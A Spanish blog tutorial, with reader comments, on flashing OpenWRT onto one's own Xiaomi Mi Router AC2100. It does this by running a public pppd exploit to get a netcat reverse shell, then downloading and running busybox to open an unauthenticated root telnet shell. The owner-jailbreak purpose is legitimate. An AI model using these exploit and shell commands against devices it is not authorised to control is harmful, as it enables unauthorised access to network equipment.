Tal y como prometí en la review, os traigo el vídeo del cambio de firmware del Mi Router AC2100 a OpenWRT para sacar el router del ecosistema de Xiaomi y abrir las puertas a una configuración mucho más avanzada.
NOTA: Antes de seguir, después del cambio, he notado mejoría a nivel de gestión de la red local por cable, ya que ahora el test si que da los 500 MB simétricos, pero, en cuanto a la WiFi, no he podido levantar todavía la de 5 Ghz.
En mi caso no era un problema mayor ya que iba a usar la WiFi del AX3600, y, además, no veo que la gente se queje de ese problema, por lo que puede ser algo aislado lo que me ha pasado a mi, pero, advertidos estáis. Además, he leído que ha habido gente que le pone los drivers propietarios en OpenWRT y mejora el rendimiento mucho más. Supongo que acabará habiendo una versión con los drivers ya incluidos.
Tutorial para cambiar el firmware al Xiaomi Mi Router AC2100 a OpenWRT
Para que os resulte más sencillo de seguir el vídeo, os pongo aquí los comandos de la guía para lo podáis seguir copiando y pegando.
Instalación de lo necesario
Como digo en la guía, es necesario instalar Python3 y netcat para poder funcionar y, posteriormente pip haciendo uso del gestor de paquetes de vuestra distribución. Una vez que tengáis eso (podréis hacerlo con vuestra distribución de Linux sin problemas) podréis instalar scapy con:
pip3 install scapy
Ahora nos descargaremos el repositorio de la guía, ya sea con el zip o con el siguiente comando:
git clone https://github.com/impulse/ac2100-openwrt-guide.git
Ahora, comprobamos si los binarios están correctos:
sha256sum *bin
La salida debería ser algo así:
9242477eaa7df12e00d369d5132b754b76af7dc8e7f4cd9e1c1483aba824ebbe xiaomi-router-kernel1.bin 141d6af6ae3b41c44fe8fe3728638acf1b286e5f204cd16381593c10f2cdd94c xiaomi-router-rootfs0.bin e53c69e2443154feb80320ebc1c58c10e08076f132291f01d9d7f5160c0aed6c xiaomi-router-sysupgrade.bin
Ahora nos toca reiniciar el router. Para ello, lo encendemos, esperamos que se ponga azul la luz y pulsamos el botón reset hasta que se ponga amarillo (o naranja). Una vez hecho eso, le quitamos la alimentación. Cuando tengamos el router sin alimentación, ponemos los cables de red como se ven a continuación:
El siguiente paso sería configurar nuestra tarjeta de red para tener los siguientes datos en lugar de automático, pasamos a manual y ponemos:
IP: 192.168.31.177 Máscara de red: 255.255.255.0 Puerta de enlace: 192.168.31.1
Aceptamos los cambios y conectamos el router de nuevo a la corriente y, cuando la luz esté azul, hacemos ping para ver si llegamos al router con:
ping 192.168.31.1
Si la salida nos retorna con los milisegundos (ms) que tarda, es que podemos seguir. Ahora nos tocaría ver donde tenemos conectado nuestro router en nuestro pc, para ello, lanzamos el comando:
ifconfig
Ahora debemos fijarnos en el que lleva la configuración de nuestra ip 192.168.31.177:
Y copiaríamos el nombre, que, en mi caso es enp7s0. Tendremos que editar tanto el script ppd-cve.py como el pppoe-simulator.py para poder poner ese dispositivo en donde pone “interface”, lo pondremos sustituyendo el “en7” dejando las comillas (está al principio de los scripts). Otro cambio importante es mirar la MAC de vuestro router y coger los 6 primeros caracteres, en mi caso, tuve que cambiar de:
if src.startswith("88:c3:97") or src.startswith("8c:53:c3") :
a:
if src.startswith("50:d2:f5") or src.startswith("8c:53:c3") :
Sin este cambio, el xploit para poder saltarnos la seguridad del router, no pude hacerlo funcionar.
Ahora nos vamos al navegador y abrimos la ip 192.168.31.1 para ver esto:
Pulsamos en el botón azul si no te sale lo que te marco aquí:
Comienza el ataque
Ahora nos toca aprovecharnos de un fallo de seguridad que tiene el Mi Router AC2100 par poder entrar al router y lanzar un servidor Telnet para poder flashear desde dentro. Abriremos un terminal de consola con varias pestañas y todas ellas nos iremos al directorio donde tenemos lo que hemos bajado del repositorio. En la primera, lanza:
sudo python3 pppoe-simulator.py
Ahora, en la pantalla del navegador, pulsamos en donde pone PPPOE y nos pedirá un usuario y contraseña, ponemos 123 en ambos campos y pulsamos el botón azul de abajo. Si miramos la pestaña donde hemos lanzado el script anterior, debería salir texto como que ha tenido actividad. Ahora, se quedará como en una pantalla de login y lo dejaremos minimizado.
Nos vamos a otra pestaña y lanzamos:
sudo python3 -m http.server 80
Y en otra pestaña lanzamos
sudo netcat -nvlp 31337
Ahora tenemos un servidor web en una y la aplicación netcat en otra, ambos escuchando posibles paquetes que lleguen, por último, en otra pestaña lanzaremos el comando:
sudo python3 pppd-cve.py
al poco, veremos que se ha lanzado un paquete y si miramos en netcat hay una conexión nueva desde el router. En esta ventana (la de netcat) es donde tenemos que lanzar una serie de comandos. Ojo, la conexión se podría cerrar por lo que habría que volver a repetir los pasos desde “sudo python3 -m http.server 80”. Los comandos a lanzar son:
cd /tmp wget http://192.168.31.177/busybox chmod a+x ./busybox ./busybox telnetd -l /bin/sh
Si has podido lanzarlos todos, ahora debe ser posible hacer telnet contra el router, para ello, hacemos:
telnet 192.168.31.1
Y, si nos devuelve una consola como esta:
Ya estaremos dentro del router y podemos descargarnos los firmware y flashearlos, para ello:
wget http://192.168.31.177/xiaomi-router-rootfs0.bin wget http://192.168.31.177/xiaomi-router-kernel1.bin&&nvram set uart_en=1&&nvram set bootdelay=5&&nvram set flag_try_sys1_failed=1&&nvram commit
Si no ha dado problemas en la descarga, podréis pasar al último paso que es el flasheo:
Primero: mtd write xiaomi-router-kernel1.bin kernel1 Después: mtd -r write xiaomi-router-rootfs0.bin rootfs0
Ahora tendríamos nuestro Mi Router AC2100 con OpenWRT, y se debe reiniciar. Una vez que se ponga azul la luz de nuevo, podremos probarlo. Para poder probarlo con normalidad, tendremos que volver a dejar nuestra tarjeta de red con la configuración de antes (lo normal es que sea automática), quitar los cables que hemos puenteado y conectar a internet el router.
Por cierto, el usuario por defecto (cambialo en la primera entrada es usuario root y contraseña password)
Como he dicho al principio, la WiFi en 2.4Ghz funciona bien, pero, la de 5Ghz no he sido capaz de hacerla funcionar, esto será cosa de días/semanas que todo vaya a la perfección, por lo que si veis que no está actualizado el tutorial y que ya va todo bien, podéis decirlo para que actualice el tutorial.
ACTUALIZACIÓN: Con la última versión, la WiFi en 5Ghz me funciona sin problemas y con un rendimiento bastante bueno, llegando en el móvil a mas de 200MB/s.
Configuración del router Xiaomi para quitar el router del operador
Como muchos han preguntado en el grupo de Telegram para poder cambiar el router del operador, si tenéis un router y el ONT por separado (como es mi caso) os explico como lo he podido configurar:
- Como tengo Orange la VLAN es la 832 (si fuera NEBA sería la 20) nos vamos a Network > Switch y tendremos 2 VLANs creadas, le damos a añadir una nueva y en VLAN ID ponemos 832 (o la que corresponda). La primera columna y la última (WAN) estarán puestas a Tagged. Le damos a Save & Apply.
- Nos vamos a Network > Interfaces y le damos a Añadir uno nuevo. En nombre podemos usar DHCP y elegimos DHCP Client y, como interfaz elegimos la VLAN creada
- Ahora editamos la WAN y ponemos como protocolo PPPoE y en usuario y contraseña ponemos (usuario: orangeuser@orangeadsl y contraseña: orangeuser123) y, en Physical Settings elegimos la VLAN que hemos creado). Le damos a Save
- Ahora editamos WAN6, elegimos DHCP client y en Physical Settings ponemos la VLAN que hemos creado.
Ahora podemos Salvar y aplicar y en Status debería salir la IP de nuestro router. Ojo, si tenéis teléfono y tele, es necesario crear otras subredes en otros operadores, os comento mi caso que se que funciona. Si alguno lo configura para televisión y teléfono y quiere compartir la info, la publico para que le sirva a más gente en este tutorial del Mi Router AC2100.
Guía que he seguido aquí. Para la configuración de la fibra, lo he sacado de aquí.
Binarios para poder actualizar cuando haya nueva versión aquí (Yo uso la versión estándar y se flashea por la web la sysupgrade)
Compra: Banggood
¿Quieres montarte tu propio sistema Smart Home?
¿Te gustaría empezar poco a poco teniendo Google Home, Alexa o Home Assistant para controlar las luces, calefacción y otros electrodomésticos de la casa? ¡Te ayudamos!
Entra en nuestro Grupo de Telégram de Domótica y también puedes entrar a nuestro Foro de Domótica donde podrás empezar a leer y preguntar tus dudas. Además, si quieres estar al tanto de las ofertas de domótica que salen a diario para poder hacerte un sistema de domótica low cost, entra a nuestro Canal de ofertas de domótica y no te perderás ni una o si lo prefieres y no tienes Telegram, puedes entrar a nuestra página de ofertas de domótica o Smart Home en Facebook. ¡Síguenos también en nuestro Facebook, Twitter o Instagram!
¡Te esperamos!Si también buscas otro tipo de ofertas, puedes echar un ojo a nuestros otros canales:
* Tecnología en general *
* Juguetes / consolas / Juegos de mesa *
* Manualidades *
Si no tienes Telegram puedes consultar todas las ofertas en Megabazar.es
Si también buscas otro tipo de ofertas, puedes echar un ojo a nuestros otros canales:
* Tecnología en general *
* Juguetes / consolas / Juegos de mesa *
* Manualidades *
Si no tienes Telegram puedes consultar todas las ofertas en Megabazar.es
* Tecnología en general * * Juguetes / consolas / Juegos de mesa * * Manualidades *
Descubre más desde Domótica en Casa
Suscríbete y recibe las últimas entradas en tu correo electrónico.
Francisco Javier Terrada Henr
Buenas.
Tengo instalado este mismo router como secundario emitiendo wifi y el router de la compañía con el wifi desactivado.
Pero desde hace unas semanas la señal de 2,4Ghz se me desactiva/activa continuamente mientras que la de 5 va bien.
No se si te ha pasado este problema o sabes algo de ello.
Un Saludo.
eduardo
Pero con el firmware de Xiaomi u OpenWRT?
Francisco Javier Terrada Henry
Con el firmware de Xiaomi, yo aun no he tocado nada del router, tal como vino de fabrica.
Javier
Hola al lanzar esto “sudo python3 pppoe-simulator.py” me da el siguiente error:
Waiting for packets
Traceback (most recent call last):
File “pppoe-simulator.py”, line 183, in
sniff(prn=packet_callback, filter=”pppoed or pppoes”, lfilter=isNotOutgoing)
File “/home/jsaez86/.local/lib/python3.6/site-packages/scapy/sendrecv.py”, line 972, in sniff
sniffer._run(*args, **kwargs)
File “/home/jsaez86/.local/lib/python3.6/site-packages/scapy/sendrecv.py”, line 842, in _run
*arg, **karg)] = iface
File “/home/jsaez86/.local/lib/python3.6/site-packages/scapy/arch/linux.py”, line 467, in __init__
self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501
File “/usr/lib/python3.6/socket.py”, line 144, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
OSError: [Errno 97] Address family not supported by protocol
y ya no puedo seguir a ver si me podeis echar una mano.
Muchas gracias.
eduardo
Que distribución tienes? Has mirado si tienes activado el firewall?
Javier
uso ubuntu en windows 10, no se a que te refieres con el firmware activado
jose
Hola. Te funcionó haciendo correo abuntu en windows?
Solo trabajo con Windows y tendría que montarme ubuntu.
Saludos.
eduardo
Mientras la máquina virtual llegue a la IP del router, si que te funcionará
Javier Saez - Bravo Garcia del Pino
Ubuntu en Windows 10, no se a qué te refieres con activado el firmware… no piloto mucho de esto
eduardo
Estoy tonto, quería decir Firewall xDDD. Mira con el comando “sudo ufw status” si te dice que está active, si lo está, lanza el comando “sudo ufw disable
” y prueba de nuevo
Javier
También me he fijado que cuando le pongo ifconfig para ver cuál es la interface dónde he configurado la ip, que en mi caso es eth0, en paquetes enviados y recibidos pone 0 y en tu tutorial si veo que aparecen paquetes… no se si tendrá algo que ver
José
Hola! Como te ha funcionado? Mi router viene en camino y estoy ansioso para poder meterle OpenWRT
Alguna otra consideración?
Saludos y gracias por el tutorial!
Ruben
Hola.
Yo tengo instalado Openwrt en el mío y hoy, tras leer en este artículo que se podía actualizar fácilmente a través de la propia GUI del router, me he animado a ello.
Tras actualizarlo con el fichero standard_xiaomi_router-ac2100_OpenWRT_19_07_3.zip, en el router quedó encendida únicamente la luz de SYSTEM en color naranja, y no disponía de conexión a internet. Tras esperar varios minutos para ver si se recuperaba, finalmente lo he reiniciado pero el resultado era el mismo.
Total, que ahora mismo tengo un pisapapeles cilíndrico.
¿Alguna idea para recuperarlo?
Un saludo.
eduardo
Has probado a mantener pulsado durante 30 segundos o así el reset?
Ruben
Al mantenerlo pulsado unos 10 segundos empieza a parpadear dicha luz naranja de system, pero no he sido capaz de llegar más lejos de eso.
Jose
Hola. Has cambiado los archivos de la guía? Es que no me coinciden con los de los binarios que pusiste en el tutorial. Esto al comprobarlo con checksum.
Saludos
eduardo
No he tocado ningún fichero….que raro
Miguel
Hola, al día de hoy recomiendas hacer este procedimiento? pierdes alguna funcionalidad original del router? Gracias
eduardo
Pierdes toda la parte del cloud y la gestión más sencilla con la App, pero ganas poder configurar todo de forma más completa y flexible. Ya depende de tus necesidades
Miguel
Gracias por tu respuesta. Al inicio del tutorial hay una nota que indica que no le ha sido posible levantar la señal de 5ghz, ésto aún es así?
eduardo
No, ya funcionaban los 5Ghz con la última versión que le puse. Ahora pasé al AX3600 y lo tengo puesto y muy muy contento
Miguel
En unas horas me llega mi ac2100 y me pican las manos por flashear openwrt. Hay forma de poder flashear el firmware original en caso de fallo?
Miguel
Luego de clonar con git hago la revision de los binarios pero solo me coincide la primera cadena de caracteres con lo que tienes aqui publicado, me da miedo seguir el procedimiento y que me salga algo corrupto
Miguel Angel
Hola, al lanzar este comando:
sudo python3 pppoe-simulator.py
Me arroja este error:
Traceback (most recent call last):
File “pppoe-simulator.py”, line 1, in
from scapy.all import *
ModuleNotFoundError: No module named ‘scapy’
Salto Roldán
Buenas!
En el netcat me aparece:
listening on 0.0.0.0 31337
creo que no se abre nada, cuando lanzo el segundo py no muestra nada ni puedo abrir el telnet
shaughnessy
I’m stuck at the same spot any fix?